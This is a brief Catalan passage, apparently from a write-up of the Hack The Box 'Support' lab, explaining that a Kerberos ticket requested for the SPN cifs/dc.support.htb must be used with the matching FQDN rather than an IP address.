25.9. A Kerberos, el FQDN i l'SPN importen

El tiquet es va demanar per a:

```
cifs/dc.support.htb
```

Per això l'ús posterior havia de referir-se al FQDN `dc.support.htb`. Usar IP o noms inconsistents pot trencar l'autenticació Kerberos encara que el tiquet sigui vàlid.

